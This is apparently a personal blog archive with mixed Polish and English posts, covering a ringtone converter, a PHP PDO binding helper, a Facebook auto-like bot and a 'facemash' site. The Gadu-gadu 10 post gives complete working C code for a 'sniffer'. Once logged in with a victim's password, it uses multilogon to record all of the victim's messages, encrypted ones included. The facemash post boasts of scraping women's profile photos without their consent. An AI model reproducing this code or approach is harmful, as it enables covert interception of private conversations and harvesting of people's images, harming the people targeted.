iPhone ringtone converter

July 9th, 2011

ScreenshotSeeing as the iPhone doesn’t support any human audio codecs for ringtones (mp3,aac,flac), I had to figure out a way to convert everything to m4r (or caf for SMS tones). Now googling for “iPhone ringtone coverter” yields tons of crap and one useful site – mp3-to-m4r.net. Or to be more precise, it used to be useful, because it was closed down due to a lawsuit. Great.

So I created my own tool – couple of hours of playing with uploadify, ffmpeg and it’s done.

Gadu-gadu 10 sniffer

May 20th, 2011

Skoro mamy już multilogowanie, to aż się prosi by z niego skorzystać… I tak oto, sniffer do najnowszego gadu-gadu; potrzebujemy wprawdzie aż (a może tylko?) hasło do konta celu, ale za to mamy pełny dostęp do wszystkich (w tym szyfrowanych) rozmów ofiary.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <inttypes.h>
#include "libgadu.h"

void logme(char* what){
    FILE *log = 0;
    log = fopen("logfile.txt", "at");
    if (!log) log = fopen("logfile.txt", "wt");
    if (!log) {
        printf("can not open logfile.txt for writing.\n");
        return;   // bail out if we can't log
    }
    fprintf(log,"%s", what);
    fclose(log);

}

int main(int argc, char **argv)
{
    struct gg_session *sess;
    struct gg_event *e;
    struct gg_login_params p;
    char buffer[2000];

    gg_debug_level = 0;

    memset(&p, 0, sizeof(p));
    p.uin = 1234567; //Uzupelnij
    p.password = "haslo"; //Uzupelnij
    p.protocol_features = GG_FEATURE_ALL | GG_FEATURE_MULTILOGON;
    p.status = 0x0400;

    if (!(sess = gg_login(&p))) {
        printf("Nie udalo sie polaczyc: %s\n", strerror(errno));
        gg_free_session(sess);
        return 1;
    }

    printf("Polaczono.\n");

    if (gg_notify(sess, NULL, 0) == -1) { // Zmiany statusow *w sumie* nas nie interesuja
        printf("Polaczenie przerwane: %s\n", strerror(errno));
        gg_free_session(sess);
        return 1;
    }

    while (1) {
        if (!(e = gg_watch_fd(sess))) {
            printf("Polaczenie przerwane: %s\n", strerror(errno));
            gg_logoff(sess);
            gg_free_session(sess);
            return 1;
        }

        if (e->type == GG_EVENT_ACK) {
            printf("Wyslano.\n");
            //break;
        }else if(e->type == GG_EVENT_MSG){
            printf("Wiadomosc odebrana:%s \n",e->event.msg.message);
            sprintf(buffer, "<-:%"PRIu32":%s\n",e->event.msg.sender, e->event.msg.message);
            logme(buffer);
        }else if(e->type == GG_EVENT_MULTILOGON_MSG){
            printf("Wiadomosc wyslana z innego klienta:%s \n",e->event.msg.message);
            sprintf(buffer, "->:%"PRIu32":%s\n",e->event.msg.sender, e->event.msg.message);
            logme(buffer);
        }
        gg_free_event(e);
    }

    gg_logoff(sess);
    gg_free_session(sess);

    return 0;
}

One reason why I hate PDO

May 15th, 2011

$offset =5;
$one['rating'] = 1500;
$link = new PDO('stuff');
$st = $link->prepare('SELECT * FROM `pics` WHERE flags&2>0 and abs(:rating-rating)<=100 LIMIT : offset, 1');
$st->execute(array('rating' => $one['rating'], 'offset'=>(int)$offset));

Results in:

[14th May 2011 13:57:28] Error code #42000 in file /var/www/robus.info/facemash/classes/database.php on line 142
Error message: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''5', 1' at line 1

Come on, seriously PDO? The variable $offset is OBVIOUSLY an integer, hell I even cast it to one, and you still can’t resist treating it like a string? The solution may be simple:

function BindValues(&$stmt,$params){
    foreach($params as $key=>$value){
        switch(gettype($value)){
            case 'integer': $stmt->bindValue(':'.$key,$value,PDO::PARAM_INT); break;
            default: $stmt->bindValue(':'.$key,$value,PDO::PARAM_STR);
       }
   }
}

But couldn’t PDO have just done this by default?

Opolski facemash

March 19th, 2011

W przypływie nudy, a w zasadzie po obejrzeniu filmu The Social Network pokusiłem się o stworzenie takiej samej strony. Kwestia o tyle ciekawa, że w filmie pokazane były ‘niezabezpieczone serwery’ jako źródło zdjęć. W rzeczywistości wystarczy kilkadziesiąt linii kodu i troche pomysłowości aby gwizdnąć zdjęcie główne każdej opolanki na naszej klasie… A jakoże nie wszyscy mają ‘nadające się’ zdjęcia ustawione jako główne, to używamy face recognition w postaci OpenCV do filtracji. Oto i efekt:


Facebook auto like script III

November 3rd, 2010

Since people are still showing interest in the facebook autolike script, and it’s once again broken – I decided to release an executable version. Not many changes have been made (overall 5 lines, duh), but this time it should be much easier to use. IE.

C:\Users\Robus\Desktop>like.exe *user* *password*
Popular
Like +1!
Like +1!
Like +1!
Statuses
Like +1!
Like +1!
Photos
Groups
Links

And there, it just liked 5 statuses. The script can be downloaded here. As usual, I also added the source code in case you don’t trust me :-)